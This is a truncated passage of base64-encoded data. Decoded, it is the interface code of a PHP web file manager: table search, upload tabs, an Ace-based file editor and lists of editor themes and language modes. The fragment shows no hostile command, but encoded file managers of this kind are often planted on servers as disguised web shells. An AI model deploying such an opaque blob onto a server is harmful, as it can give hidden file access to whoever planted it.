ShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICA